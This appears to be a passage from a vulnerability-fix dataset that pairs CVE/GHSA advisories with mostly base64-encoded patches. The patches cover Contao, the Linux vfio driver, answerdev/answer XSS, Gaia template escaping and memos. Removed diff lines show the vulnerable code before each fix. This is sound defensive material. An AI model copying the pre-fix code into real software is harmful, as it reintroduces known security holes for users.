kvLyBJbWFnZSBpcyB0b28gYmlnCiAJCQkJaWYgKFxpbl9hcnJheSgkc3RyRXh0ZW5zaW9uLCBhcnJheSgnZ2lmJywgJ2pwZycsICdqcGVnJywgJ3BuZycsICd3ZWJwJywgJ2F2aWYnLCAnaGVpYycsICdqeGwnKSkgJiYgQ29uZmlnOjpnZXQoJ2ltYWdlV2lkdGgnKSAmJiBDb25maWc6OmdldCgnaW1hZ2VIZWlnaHQnKSAmJiBTeXN0ZW06OmdldENvbnRhaW5lcigpLT5nZXRQYXJhbWV0ZXIoJ2NvbnRhby5pbWFnZS5yZWplY3RfbGFyZ2VfdXBsb2FkcycpKQpkaWZmIC0tZ2l0IGEvY29yZS1idW5kbGUvY29udGFvL2RjYS90bF9maWxlcy5waHAgYi9jb3JlLWJ1bmRsZS9jb250YW8vZGNhL3RsX2ZpbGVzLnBocAppbmRleCAzNzNhNDYxNTg2MS4uZWE3ZTgwNjcxMzYgMTAwNjQ0Ci0tLSBhL2NvcmUtYnVuZGxlL2NvbnRhby9kY2EvdGxfZmlsZXMucGhwCisrKyBiL2NvcmUtYnVuZGxlL2NvbnRhby9kY2EvdGxfZmlsZXMucGhwCkBAIC0yNyw2ICsyNyw3IEBACiB1c2UgQ29udGFvXFN0cmluZ1V0aWw7CiB1c2UgQ29udGFvXFN5c3RlbTsKIHVzZSBDb250YW9cVmFsaWRhdG9yOwordXNlIFN5bWZvbnlcQ29tcG9uZW50XEZpbGVzeXN0ZW1cUGF0aDsKIHVzZSBTeW1mb255XENvbXBvbmVudFxGaW5kZXJcRmluZGVyOwogCiAkR0xPQkFMU1snVExfRENBJ11bJ3RsX2ZpbGVzJ10gPSBhcnJheQpAQCAtNDgwLDcgKzQ4MSw3IEBAIHB1YmxpYyBmdW5jdGlvbiBhZGp1c3RQYWxldHRlcyhzdHJpbmcgJHN0clBhbGV0dGUsIERhdGFDb250YWluZXIgJGRjKQogCQl9CiAKIAkJLy8gT25seSBzaG93IHRoZSBpbXBvcnRhbnQgcGFydCBmaWVsZHMgZm9yIGltYWdlcwotCQlpZiAoJGJsbklzRm9sZGVyIHx8ICFpbl9hcnJheShzdHJ0b2xvd2VyKHN1YnN0cigkZGMtPmlkLCBzdHJycG9zKCRkYy0+aWQsICcuJykgKyAxKSksIFN5c3RlbTo6Z2V0Q29udGFpbmVyKCktPmdldFBhcmFtZXRlcignY29udGFvLmltYWdlLnZhbGlkX2V4dGVuc2lvbnMnKSkpCisJCWlmICgkYmxuSXNGb2xkZXIgfHwgIWluX2FycmF5KFBhdGg6OmdldEV4dGVuc2lvbigkZGMtPmlkLCB0cnVlKSwgU3lzdGVtOjpnZXRDb250YWluZXIoKS0+Z2V0UGFyYW1ldGVyKCdjb250YW8uaW1hZ2UudmFsaWRfZXh0ZW5zaW9ucycpKSkKIAkJewogCQkJJHN0clBhbGV0dGUgPSBQYWxldHRlTWFuaXB1bGF0b3I6OmNyZWF0ZSgpCiAJCQkJLT5yZW1vdmVGaWVsZChhcnJheSgnaW1wb3J0YW50UGFydFgnLCAnaW1wb3J0YW50UGFydFknLCAnaW1wb3J0YW50UGFydFdpZHRoJywgJ2ltcG9ydGFudFBhcnRIZWlnaHQnKSkKZGlmZiAtLWdpdCBhL2NvcmUtYnVuZGxlL2NvbnRhby9kcml2ZXJzL0RDX0ZvbGRlci5waHAgYi9jb3JlLWJ1bmRsZS9jb250YW8vZHJpdmVycy9EQ19Gb2xkZXIucGhwCmluZGV4IGI0Yzk0MWM4ZDg3Li41Y2Y5OTUwOTAwNyAxMDA2NDQKLS0tIGEvY29yZS1idW5kbGUvY29udGFvL2RyaXZlcnMvRENfRm9sZGVyLnBocAorKysgYi9jb3JlLWJ1bmRsZS9jb250YW8vZHJpdmVycy9EQ19Gb2xkZXIucGhwCkBAIC05MDYsNyArOTA2LDcgQEAgcHVibGljIGZ1bmN0aW9uIGNvcHkoJHNvdXJjZT1udWxsLCAkZGVzdGluYXRpb249bnVsbCkKIAkJewogCQkJJGNvdW50ID0gMTsKIAkJCSRuZXcgPSAkZGVzdGluYXRpb247Ci0JCQkkZXh0ID0gc3RydG9sb3dlcihzdWJzdHIoJGRlc3RpbmF0aW9uLCBzdHJycG9zKCRkZXN0aW5hdGlvbiwgJy4nKSArIDEpKTsKKwkJCSRleHQgPSBQYXRoOjpnZXRFeHRlbnNpb24oJGRlc3RpbmF0aW9uLCB0cnVlKTsKIAogCQkJaWYgKCRleHQgPT09ICd0d2lnJykKIAkJCXsKQEAgLTIyNDMsNiArMjI0MywxNCBAQCBwcm90ZWN0ZWQgZnVuY3Rpb24gc2F2ZSgkdmFyVmFsdWUpCiAJCQkJfQogCQkJfQogCisJCQkvLyBDaGVjayB0aGUgZnVsbCBwYXRoIHRvIHNlZSBpZiB0aGUgZmlsZSBleHRlbnNpb24gaGFzIGNoYW5nZWQsIGJlY2F1c2UgaWYKKwkJCS8vICR0aGlzLT5zdHJFeHRlbnNpb24gaXMgZW1wdHksIGEgbmV3IGV4dGVuc2lvbiBjb3VsZCBvdGhlcndpc2UgYmUgYWRkZWQgdG8KKwkJCS8vICR2YXJWYWx1ZSBhbmQgY2hhbmdlIHRoZSBmaWxlIHR5cGUhCisJCQlpZiAoUGF0aDo6Z2V0RXh0ZW5zaW9uKCR2YXJWYWx1ZSAuICR0aGlzLT5zdHJFeHRlbnNpb24pICE9PSBQYXRoOjpnZXRFeHRlbnNpb24oJHRoaXMtPnZhclZhbHVlIC4gJHRoaXMtPnN0ckV4dGVuc2lvbikpCisJCQl7CisJCQkJdGhyb3cgbmV3IFxFeGNlcHRpb24oJEdMT0JBTFNbJ1RMX0xBTkcnXVsnRVJSJ11bJ2ludmFsaWROYW1lJ10pOworCQkJfQorCiAJCQkvLyBUaGUgdGFyZ2V0IGV4aXN0cwogCQkJaWYgKHN0cmNhc2VjbXAoJHRoaXMtPnN0clBhdGggLiAnLycgLiAkdGhpcy0+dmFyVmFsdWUgLiAkdGhpcy0+c3RyRXh0ZW5zaW9uLCAkdGhpcy0+c3RyUGF0aCAuICcvJyAuICR2YXJWYWx1ZSAuICR0aGlzLT5zdHJFeHRlbnNpb24pICE9PSAwICYmIGZpbGVfZXhpc3RzKCR0aGlzLT5zdHJSb290RGlyIC4gJy8nIC4gJHRoaXMtPnN0clBhdGggLiAnLycgLiAkdmFyVmFsdWUgLiAkdGhpcy0+c3RyRXh0ZW5zaW9uKSkKIAkJCXs=", "url": "https://github.com/contao/contao/commit/f3db59ffe5a6c0e1f705b3230ebd5ff16865280e.patch" } ]
null
GHSA-5r95-3f2r-9v8g
null
[ { "commit_message": "[PATCH] vfio/pci: Fix integer overflows, bitmask check The VFIO_DEVICE_SET_IRQS ioctl did not sufficiently sanitize user-supplied integers, potentially allowing memory corruption. This patch adds appropriate integer overflow checks, checks the range bounds for VFIO_IRQ_SET_DATA_NONE, and also verifies that only single element in the VFIO_IRQ_SET_DATA_TYPE_MASK bitmask is set. VFIO_IRQ_SET_ACTION_TYPE_MASK is already correctly checked later in vfio_pci_set_irqs_ioctl(). Furthermore, a kzalloc is changed to a kcalloc because the use of a kzalloc with an integer multiplication allowed an integer overflow condition to be reached without this patch. kcalloc checks for overflow and should prevent a similar occurrence. Signed-off-by: Vlad Tsyrklevich <vlad@tsyrklevich.net> Signed-off-by: Alex Williamson <alex.williamson@redhat.com> drivers/vfio/pci/vfio_pci.c | 33 ++++++++++++++++++++----------- drivers/vfio/pci/vfio_pci_intrs.c | 2 +- 2 files changed, 22 insertions(+), 13 deletions(-)", "patch_text_b64": "RnJvbSAwNTY5MmQ3MDA1YTM2NGFkZDg1YzZlMjVhNmM0NDQ3Y2UwOGY5MTNhIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBWbGFkIFRzeXJrbGV2aWNoIDx2bGFkQHRzeXJrbGV2aWNoLm5ldD4KRGF0ZTogV2VkLCAxMiBPY3QgMjAxNiAxODo1MToyNCArMDIwMApTdWJqZWN0OiBbUEFUQ0hdIHZmaW8vcGNpOiBGaXggaW50ZWdlciBvdmVyZmxvd3MsIGJpdG1hc2sgY2hlY2sKClRoZSBWRklPX0RFVklDRV9TRVRfSVJRUyBpb2N0bCBkaWQgbm90IHN1ZmZpY2llbnRseSBzYW5pdGl6ZQp1c2VyLXN1cHBsaWVkIGludGVnZXJzLCBwb3RlbnRpYWxseSBhbGxvd2luZyBtZW1vcnkgY29ycnVwdGlvbi4gVGhpcwpwYXRjaCBhZGRzIGFwcHJvcHJpYXRlIGludGVnZXIgb3ZlcmZsb3cgY2hlY2tzLCBjaGVja3MgdGhlIHJhbmdlIGJvdW5kcwpmb3IgVkZJT19JUlFfU0VUX0RBVEFfTk9ORSwgYW5kIGFsc28gdmVyaWZpZXMgdGhhdCBvbmx5IHNpbmdsZSBlbGVtZW50CmluIHRoZSBWRklPX0lSUV9TRVRfREFUQV9UWVBFX01BU0sgYml0bWFzayBpcyBzZXQuClZGSU9fSVJRX1NFVF9BQ1RJT05fVFlQRV9NQVNLIGlzIGFscmVhZHkgY29ycmVjdGx5IGNoZWNrZWQgbGF0ZXIgaW4KdmZpb19wY2lfc2V0X2lycXNfaW9jdGwoKS4KCkZ1cnRoZXJtb3JlLCBhIGt6YWxsb2MgaXMgY2hhbmdlZCB0byBhIGtjYWxsb2MgYmVjYXVzZSB0aGUgdXNlIG9mIGEKa3phbGxvYyB3aXRoIGFuIGludGVnZXIgbXVsdGlwbGljYXRpb24gYWxsb3dlZCBhbiBpbnRlZ2VyIG92ZXJmbG93CmNvbmRpdGlvbiB0byBiZSByZWFjaGVkIHdpdGhvdXQgdGhpcyBwYXRjaC4ga2NhbGxvYyBjaGVja3MgZm9yIG92ZXJmbG93CmFuZCBzaG91bGQgcHJldmVudCBhIHNpbWlsYXIgb2NjdXJyZW5jZS4KClNpZ25lZC1vZmYtYnk6IFZsYWQgVHN5cmtsZXZpY2ggPHZsYWRAdHN5cmtsZXZpY2gubmV0PgpTaWduZWQtb2ZmLWJ5OiBBbGV4IFdpbGxpYW1zb24gPGFsZXgud2lsbGlhbXNvbkByZWRoYXQuY29tPgotLS0KIGRyaXZlcnMvdmZpby9wY2kvdmZpb19wY2kuYyAgICAgICB8IDMzICsrKysrKysrKysrKysrKysrKysrLS0tLS0tLS0tLS0KIGRyaXZlcnMvdmZpby9wY2kvdmZpb19wY2lfaW50cnMuYyB8ICAyICstCiAyIGZpbGVzIGNoYW5nZWQsIDIyIGluc2VydGlvbnMoKyksIDEzIGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL2RyaXZlcnMvdmZpby9wY2kvdmZpb19wY2kuYyBiL2RyaXZlcnMvdmZpby9wY2kvdmZpb19wY2kuYwppbmRleCBkNjI0YTUyNzc3N2Y2YS4uMDMxYmMwOGQwMDBkNGEgMTAwNjQ0Ci0tLSBhL2RyaXZlcnMvdmZpby9wY2kvdmZpb19wY2kuYworKysgYi9kcml2ZXJzL3ZmaW8vcGNpL3ZmaW9fcGNpLmMKQEAgLTgyOSw4ICs4MjksOSBAQCBzdGF0aWMgbG9uZyB2ZmlvX3BjaV9pb2N0bCh2b2lkICpkZXZpY2VfZGF0YSwKIAogCX0gZWxzZSBpZiAoY21kID09IFZGSU9fREVWSUNFX1NFVF9JUlFTKSB7CiAJCXN0cnVjdCB2ZmlvX2lycV9zZXQgaGRyOworCQlzaXplX3Qgc2l6ZTsKIAkJdTggKmRhdGEgPSBOVUxMOwotCQlpbnQgcmV0ID0gMDsKKwkJaW50IG1heCwgcmV0ID0gMDsKIAogCQltaW5zeiA9IG9mZnNldG9mZW5kKHN0cnVjdCB2ZmlvX2lycV9zZXQsIGNvdW50KTsKIApAQCAtODM4LDIzICs4MzksMzEgQEAgc3RhdGljIGxvbmcgdmZpb19wY2lfaW9jdGwodm9pZCAqZGV2aWNlX2RhdGEsCiAJCQlyZXR1cm4gLUVGQVVMVDsKIAogCQlpZiAoaGRyLmFyZ3N6IDwgbWluc3ogfHwgaGRyLmluZGV4ID49IFZGSU9fUENJX05VTV9JUlFTIHx8CisJCSAgICBoZHIuY291bnQgPj0gKFUzMl9NQVggLSBoZHIuc3RhcnQpIHx8CiAJCSAgICBoZHIuZmxhZ3MgJiB+KFZGSU9fSVJRX1NFVF9EQVRBX1RZUEVfTUFTSyB8CiAJCQkJICBWRklPX0lSUV9TRVRfQUNUSU9OX1RZUEVfTUFTSykpCiAJCQlyZXR1cm4gLUVJTlZBTDsKIAotCQlpZiAoIShoZHIuZmxhZ3MgJiBWRklPX0lSUV9TRVRfREFUQV9OT05FKSkgewotCQkJc2l6ZV90IHNpemU7Ci0JCQlpbnQgbWF4ID0gdmZpb19wY2lfZ2V0X2lycV9jb3VudCh2ZGV2LCBoZHIuaW5kZXgpOworCQltYXggPSB2ZmlvX3BjaV9nZXRfaXJxX2NvdW50KHZkZXYsIGhkci5pbmRleCk7CisJCWlmIChoZHIuc3RhcnQgPj0gbWF4IHx8IGhkci5zdGFydCArIGhkci5jb3VudCA+IG1heCkKKwkJCXJldHVybiAtRUlOVkFMOwogCi0JCQlpZiAoaGRyLmZsYWdzICYgVkZJT19JUlFfU0VUX0RBVEFfQk9PTCkKLQkJCQlzaXplID0gc2l6ZW9mKHVpbnQ4X3QpOwotCQkJZWxzZSBpZiAoaGRyLmZsYWdzICYgVkZJT19JUlFfU0VUX0RBVEFfRVZFTlRGRCkKLQkJCQlzaXplID0gc2l6ZW9mKGludDMyX3QpOwotCQkJZWxzZQotCQkJCXJldHVybiAtRUlOVkFMOworCQlzd2l0Y2ggKGhkci5mbGFncyAmIFZGSU9fSVJRX1NFVF9EQVRBX1RZUEVfTUFTSykgeworCQljYXNlIFZGSU9fSVJRX1NFVF9EQVRBX05PTkU6CisJCQlzaXplID0gMDsKKwkJCWJyZWFrOworCQljYXNlIFZGSU9fSVJRX1NFVF9EQVRBX0JPT0w6CisJCQlzaXplID0gc2l6ZW9mKHVpbnQ4X3QpOworCQkJYnJlYWs7CisJCWNhc2UgVkZJT19JUlFfU0VUX0RBVEFfRVZFTlRGRDoKKwkJCXNpemUgPSBzaXplb2YoaW50MzJfdCk7CisJCQlicmVhazsKKwkJZGVmYXVsdDoKKwkJCXJldHVybiAtRUlOVkFMOworCQl9CiAKLQkJCWlmIChoZHIuYXJnc3ogLSBtaW5zeiA8IGhkci5jb3VudCAqIHNpemUgfHwKLQkJCSAgICBoZHIuc3RhcnQgPj0gbWF4IHx8IGhkci5zdGFydCArIGhkci5jb3VudCA+IG1heCkKKwkJaWYgKHNpemUpIHsKKwkJCWlmIChoZHIuYXJnc3ogLSBtaW5zeiA8IGhkci5jb3VudCAqIHNpemUpCiAJCQkJcmV0dXJuIC1FSU5WQUw7CiAKIAkJCWRhdGEgPSBtZW1kdXBfdXNlcigodm9pZCBfX3VzZXIgKikoYXJnICsgbWluc3opLApkaWZmIC0tZ2l0IGEvZHJpdmVycy92ZmlvL3BjaS92ZmlvX3BjaV9pbnRycy5jIGIvZHJpdmVycy92ZmlvL3BjaS92ZmlvX3BjaV9pbnRycy5jCmluZGV4IGMyZTYwODkzY2QwOWE1Li4xYzQ2MDQ1YjBlN2ZjNiAxMDA2NDQKLS0tIGEvZHJpdmVycy92ZmlvL3BjaS92ZmlvX3BjaV9pbnRycy5jCisrKyBiL2RyaXZlcnMvdmZpby9wY2kvdmZpb19wY2lfaW50cnMuYwpAQCAtMjU2LDcgKzI1Niw3IEBAIHN0YXRpYyBpbnQgdmZpb19tc2lfZW5hYmxlKHN0cnVjdCB2ZmlvX3BjaV9kZXZpY2UgKnZkZXYsIGludCBudmVjLCBib29sIG1zaXgpCiAJaWYgKCFpc19pcnFfbm9uZSh2ZGV2KSkKIAkJcmV0dXJuIC1FSU5WQUw7CiAKLQl2ZGV2LT5jdHggPSBremFsbG9jKG52ZWMgKiBzaXplb2Yoc3RydWN0IHZmaW9fcGNpX2lycV9jdHgpLCBHRlBfS0VSTkVMKTsKKwl2ZGV2LT5jdHggPSBrY2FsbG9jKG52ZWMsIHNpemVvZihzdHJ1Y3QgdmZpb19wY2lfaXJxX2N0eCksIEdGUF9LRVJORUwpOwogCWlmICghdmRldi0+Y3R4KQogCQlyZXR1cm4gLUVOT01FTTs=", "url": "https://github.com/torvalds/linux/commit/05692d7005a364add85c6e25a6c4447ce08f913a.patch" } ]
null
CVE-2023-1242
Cross-site Scripting (XSS) - Stored in answerdev/answer
Cross-site Scripting (XSS) - Stored in GitHub repository answerdev/answer prior to 1.0.6.
[ { "commit_message": "[PATCH] update GetExcerpt internal/schema/tag_schema.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)", "patch_text_b64": "RnJvbSA5MGJmYTBkY2M3YjQ5NDgyZjFkMWUzMWFlZTNhYjA3M2YzYzEzZGQ5IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBhaWNoeTEyNiA8MTY5OTYwOTcrYWljaHkxMjZAdXNlcnMubm9yZXBseS5naXRodWIuY29tPgpEYXRlOiBGcmksIDI0IEZlYiAyMDIzIDE4OjAzOjUyICswODAwClN1YmplY3Q6IFtQQVRDSF0gdXBkYXRlIEdldEV4Y2VycHQKCi0tLQogaW50ZXJuYWwvc2NoZW1hL3RhZ19zY2hlbWEuZ28gfCAyICstCiAxIGZpbGUgY2hhbmdlZCwgMSBpbnNlcnRpb24oKyksIDEgZGVsZXRpb24oLSkKCmRpZmYgLS1naXQgYS9pbnRlcm5hbC9zY2hlbWEvdGFnX3NjaGVtYS5nbyBiL2ludGVybmFsL3NjaGVtYS90YWdfc2NoZW1hLmdvCmluZGV4IGNjMDQ2YjM3Yi4uM2ViOGQzODk3IDEwMDY0NAotLS0gYS9pbnRlcm5hbC9zY2hlbWEvdGFnX3NjaGVtYS5nbworKysgYi9pbnRlcm5hbC9zY2hlbWEvdGFnX3NjaGVtYS5nbwpAQCAtOTAsNyArOTAsNyBAQCB0eXBlIEdldFRhZ1Jlc3Agc3RydWN0IHsKIH0KIAogZnVuYyAodHIgKkdldFRhZ1Jlc3ApIEdldEV4Y2VycHQoKSB7Ci0JZXhjZXJwdCA6PSBzdHJpbmdzLlRyaW1TcGFjZSh0ci5PcmlnaW5hbFRleHQpCisJZXhjZXJwdCA6PSBzdHJpbmdzLlRyaW1TcGFjZSh0ci5QYXJzZWRUZXh0KQogCWlkeCA6PSBzdHJpbmdzLkluZGV4KGV4Y2VycHQsICJcbiIpCiAJaWYgaWR4ID49IDAgewogCQlleGNlcnB0ID0gZXhjZXJwdFswOmlkeF0=", "url": "https://github.com/answerdev/answer/commit/90bfa0dcc7b49482f1d1e31aee3ab073f3c13dd9.patch" } ]
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
GHSA-995x-vcgv-4rcv
null
[ { "commit_message": "[PATCH] Bug 1101158 - Use shared tagged template library for escaping card content r=aus r=freddyb apps/sharedtest/test/unit/tagged_test.js | 18 +++++++ apps/system/index.html | 1 + apps/system/js/card.js | 56 +++++++++++----------- apps/system/test/unit/card_test.js | 1 + apps/system/test/unit/task_manager_test.js | 1 + shared/js/tagged.js | 38 +++++++++++++++ 6 files changed, 88 insertions(+), 27 deletions(-) create mode 100644 apps/sharedtest/test/unit/tagged_test.js create mode 100644 shared/js/tagged.js", "patch_text_b64": "From cd0cb6aa5322e6d98633cb034513136e5e470246 Mon Sep 17 00:00:00 2001
From: Kevin Grandon <kevingrandon@yahoo.com>
Date: Mon, 24 Nov 2014 08:29:12 -0800
Subject: [PATCH] Bug 1101158 - Use shared tagged template library for escaping
 card content r=aus r=freddyb

---
 apps/sharedtest/test/unit/tagged_test.js   | 18 +++++++
 apps/system/index.html                     |  1 +
 apps/system/js/card.js                     | 56 +++++++++++-----------
 apps/system/test/unit/card_test.js         |  1 +
 apps/system/test/unit/task_manager_test.js |  1 +
 shared/js/tagged.js                        | 38 +++++++++++++++
 6 files changed, 88 insertions(+), 27 deletions(-)
 create mode 100644 apps/sharedtest/test/unit/tagged_test.js
 create mode 100644 shared/js/tagged.js

diff --git a/apps/sharedtest/test/unit/tagged_test.js b/apps/sharedtest/test/unit/tagged_test.js
new file mode 100644
index 000000000000..d48876852f8d
--- /dev/null
+++ b/apps/sharedtest/test/unit/tagged_test.js
@@ -0,0 +1,18 @@
+/* global Tagged */
+
+'use strict';
+
+require('/shared/js/tagged.js');
+
+suite('tagged template helper', function() {
+
+  test('#escapeHTML', function() {
+    var myVal = '<b>hello</b>';
+    // fix a jshint issue with tagged template strings
+    // https://github.com/jshint/jshint/issues/2000
+    /* jshint -W033 */
+    var generated = Tagged.escapeHTML `${myVal} world`;
+    /* jshint +W033 */
+    assert.equal(generated, '&lt;b&gt;hello&lt;&#x2F;b&gt; world');
+  });
+});
diff --git a/apps/system/index.html b/apps/system/index.html
index 73d0a638a2ff..810147ab39c4 100644
--- a/apps/system/index.html
+++ b/apps/system/index.html
@@ -33,6 +33,7 @@
     <script defer src="shared/js/screen_layout.js"></script>
     <script defer src="shared/js/iac_handler.js"></script>
     <script defer src="shared/js/apn_helper.js"></script>
+    <script defer src="shared/js/tagged.js"></script>
     <script defer src="shared/js/utilities.js"></script>
     <script defer src="js/touch_forwarder.js"></script>
     <script defer src="shared/js/version_helper.js"></script>
diff --git a/apps/system/js/card.js b/apps/system/js/card.js
index 233b9c6ca950..b915cf3675fa 100644
--- a/apps/system/js/card.js
+++ b/apps/system/js/card.js
@@ -1,4 +1,4 @@
-/* globals BaseUI, CardsHelper, TrustedUIManager */
+/* globals BaseUI, CardsHelper, Tagged, TrustedUIManager */
 
 /* exported Card */
 
@@ -69,38 +69,40 @@
    * Template string representing the innerHTML of the instance's element
    * @memberOf Card.prototype
    */
-  Card.prototype._template =
-    '<div class="titles">' +
-    ' <h1 id="{titleId}" class="title">{title}</h1>' +
-    ' <p class="subtitle">{subTitle}</p>' +
-    '</div>' +
-    '' +
-    '<div class="screenshotView bb-button" data-l10n-id="openCard" ' +
-    '  role="link"></div>' +
-    '<div class="appIconView" style="background-image:{iconValue}"></div>' +
-    '' +
-    '<footer class="card-tray">'+
-    ' <button class="appIcon" data-l10n-id="openCard" ' +
-    '   data-button-action="select" aria-hidden="true"></button>' +
-    ' <menu class="buttonbar">' +
-    '   <button class="close-button bb-button" data-l10n-id="closeCard" ' +
-    '     data-button-action="close" role="button" ' +
-    '     style="visibility: {closeButtonVisibility}"></button>' +
-    '  <button class="favorite-button bb-button" ' +
-    '    data-button-action="favorite" role="button" ' +
-    '    style="visibility: {favoriteButtonVisibility}"></button>' +
-    ' </menu>' +
-    '</footer>';
+  Card.prototype.template = function() {
+    // fix a jshint issue with tagged template strings
+    // https://github.com/jshint/jshint/issues/2000
+    /* jshint -W033 */
+    return Tagged.escapeHTML `<div class="titles">
+     <h1 id="${this.titleId}" class="title">${this.title}</h1>
+     <p class="subtitle">${this.subTitle}</p>
+    </div>
+
+    <div class="screenshotView bb-button" data-l10n-id="openCard"
+      role="link"></div>
+    <div class="appIconView" style="background-image:${this.iconValue}"></div>
+
+    <footer class="card-tray">
+     <button class="appIcon" data-l10n-id="openCard"
+       data-button-action="select" aria-hidden="true"></button>
+     <menu class="buttonbar">
+       <button class="close-button bb-button" data-l10n-id="closeCard"
+         data-button-action="close" role="button"
+         style="visibility: ${this.closeButtonVisibility}"></button>
+      <button class="favorite-button bb-button"
+        data-button-action="favorite" role="button"
+        style="visibility: ${this.favoriteButtonVisibility}"></button>
+     </menu>
+    </footer>`;
+    /* jshint +W033 */
+  };
 
   /**
    * Card html view - builds the innerHTML for a card element
    * @memberOf Card.prototype
    */
   Card.prototype.view = function c_view() {
-    var viewData = this;
-    return this._template.replace(/\{([^\}]+)\}/g, function(m, key) {
-        return viewData[key];
-    });
+    return this.template();
   };
 
   /**
diff --git a/apps/system/test/unit/card_test.js b/apps/system/test/unit/card_test.js
index 2e95c0a20755..32b010b21ce9 100644
--- a/apps/system/test/unit/card_test.js
+++ b/apps/system/test/unit/card_test.js
@@ -1,6 +1,7 @@
 /* global AppWindow, Card, MocksHelper, CardsHelper */
 'use strict';
 
+require('/shared/js/tagged.js');
 requireApp('system/test/unit/mock_app_window.js');
 requireApp('system/test/unit/mock_trusted_ui_manager.js');
 
diff --git a/apps/system/test/unit/task_manager_test.js b/apps/system/test/unit/task_manager_test.js
index deee84459160..d7b2025276df 100644
--- a/apps/system/test/unit/task_manager_test.js
+++ b/apps/system/test/unit/task_manager_test.js
@@ -11,6 +11,7 @@ requireApp('system/test/unit/mock_stack_manager.js');
 requireApp('system/test/unit/mock_app_window.js');
 requireApp('system/test/unit/mock_trusted_ui_manager.js');
 
+require('/shared/js/tagged.js');
 require('/shared/test/unit/mocks/mock_service.js');
 require('/shared/test/unit/mocks/mock_navigator_moz_settings.js');
 require('/shared/test/unit/mocks/mock_l10n.js');
diff --git a/shared/js/tagged.js b/shared/js/tagged.js
new file mode 100644
index 000000000000..794614813170
--- /dev/null
+++ b/shared/js/tagged.js
@@ -0,0 +1,38 @@
+'use strict';
+
+/**
+ * tagged.js is a simple library to help you manage tagged template strings.
+ */
+var Tagged = {
+
+  _entity: /[&<>"'/]/g,
+
+  _entities: {
+    '&': '&amp;',
+    '<': '&lt;',
+    '>': '&gt;',
+    '"': '&quot;',
+    '\'': '&apos;',
+    '/': '&#x2F;'
+  },
+
+  getEntity: function(s) {
+    return Tagged._entities[s];
+  },
+
+  /**
+   * Escapes HTML for all values in a tagged template string.
+   */
+  escapeHTML: function(strings, ...values) {
+    var result = '';
+
+    for (var i = 0; i < strings.length; i++) {
+      result += strings[i];
+      if (i < values.length) {
+        result += String(values[i]).replace(Tagged._entity, Tagged.getEntity);
+      }
+    }
+
+    return result;
+  }
+};", "url": "https://github.com/mozilla-b2g/gaia/commit/0f72a8c31df9f3d8f609a7c58ca91139051d44eb.patch" } ]
null
CVE-2022-4687
Incorrect Use of Privileged APIs in usememos/memos
Incorrect Use of Privileged APIs in GitHub repository usememos/memos prior to 0.9.0.
[ { "commit_message": "[PATCH] fix: disable decode patch id (#831) api/memo.go | 2 +- api/resource.go | 2 +- api/shortcut.go | 2 +- api/user.go | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-)", "patch_text_b64": "RnJvbSBkY2EzNWJkZTg3N2FhYjZlNjRlZjUxYjUyZTU5MGI1ZDQ4ZjY5MmY5IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBib29qYWNrIDxzdGV2ZW5sZ3RtQGdtYWlsLmNvbT4KRGF0ZTogRnJpLCAyMyBEZWMgMjAyMiAxODozODoyNCArMDgwMApTdWJqZWN0OiBbUEFUQ0hdIGZpeDogZGlzYWJsZSBkZWNvZGUgcGF0Y2ggaWQgKCM4MzEpCgotLS0KIGFwaS9tZW1vLmdvICAgICB8IDIgKy0KIGFwaS9yZXNvdXJjZS5nbyB8IDIgKy0KIGFwaS9zaG9ydGN1dC5nbyB8IDIgKy0KIGFwaS91c2VyLmdvICAgICB8IDIgKy0KIDQgZmlsZXMgY2hhbmdlZCwgNCBpbnNlcnRpb25zKCspLCA0IGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL2FwaS9tZW1vLmdvIGIvYXBpL21lbW8uZ28KaW5kZXggMjlkMGViZTY2YmI4MS4uMDFhYTQyZmYwMDNjYSAxMDA2NDQKLS0tIGEvYXBpL21lbW8uZ28KKysrIGIvYXBpL21lbW8uZ28KQEAgLTU3LDcgKzU3LDcgQEAgdHlwZSBNZW1vQ3JlYXRlIHN0cnVjdCB7CiB9CiAKIHR5cGUgTWVtb1BhdGNoIHN0cnVjdCB7Ci0JSUQgaW50CisJSUQgaW50IGBqc29uOiItImAKIAogCS8vIFN0YW5kYXJkIGZpZWxkcwogCUNyZWF0ZWRUcyAqaW50NjQgYGpzb246ImNyZWF0ZWRUcyJgCmRpZmYgLS1naXQgYS9hcGkvcmVzb3VyY2UuZ28gYi9hcGkvcmVzb3VyY2UuZ28KaW5kZXggYjgzM2Y5MTNjMWQxMi4uOTBlNDdjN2Y3ODllZSAxMDA2NDQKLS0tIGEvYXBpL3Jlc291cmNlLmdvCisrKyBiL2FwaS9yZXNvdXJjZS5nbwpAQCAtNDEsNyArNDEsNyBAQCB0eXBlIFJlc291cmNlRmluZCBzdHJ1Y3QgewogfQogCiB0eXBlIFJlc291cmNlUGF0Y2ggc3RydWN0IHsKLQlJRCBpbnQKKwlJRCBpbnQgYGpzb246Ii0iYAogCiAJLy8gU3RhbmRhcmQgZmllbGRzCiAJVXBkYXRlZFRzICppbnQ2NApkaWZmIC0tZ2l0IGEvYXBpL3Nob3J0Y3V0LmdvIGIvYXBpL3Nob3J0Y3V0LmdvCmluZGV4IGI0YWE4MDNhNWQ0NTguLjVlYWVkZDNjY2M1NzIgMTAwNjQ0Ci0tLSBhL2FwaS9zaG9ydGN1dC5nbworKysgYi9hcGkvc2hvcnRjdXQuZ28KQEAgLTI0LDcgKzI0LDcgQEAgdHlwZSBTaG9ydGN1dENyZWF0ZSBzdHJ1Y3QgewogfQogCiB0eXBlIFNob3J0Y3V0UGF0Y2ggc3RydWN0IHsKLQlJRCBpbnQKKwlJRCBpbnQgYGpzb246Ii0iYAogCiAJLy8gU3RhbmRhcmQgZmllbGRzCiAJVXBkYXRlZFRzICppbnQ2NApkaWZmIC0tZ2l0IGEvYXBpL3VzZXIuZ28gYi9hcGkvdXNlci5nbwppbmRleCA0ZTZhZmVjMDI2ZmY4Li41MjlmM2ZjMjJlNTdmIDEwMDY0NAotLS0gYS9hcGkvdXNlci5nbworKysgYi9hcGkvdXNlci5nbwpAQCAtNjksNyArNjksNyBAQCBmdW5jIChjcmVhdGUgVXNlckNyZWF0ZSkgVmFsaWRhdGUoKSBlcnJvciB7CiB9CiAK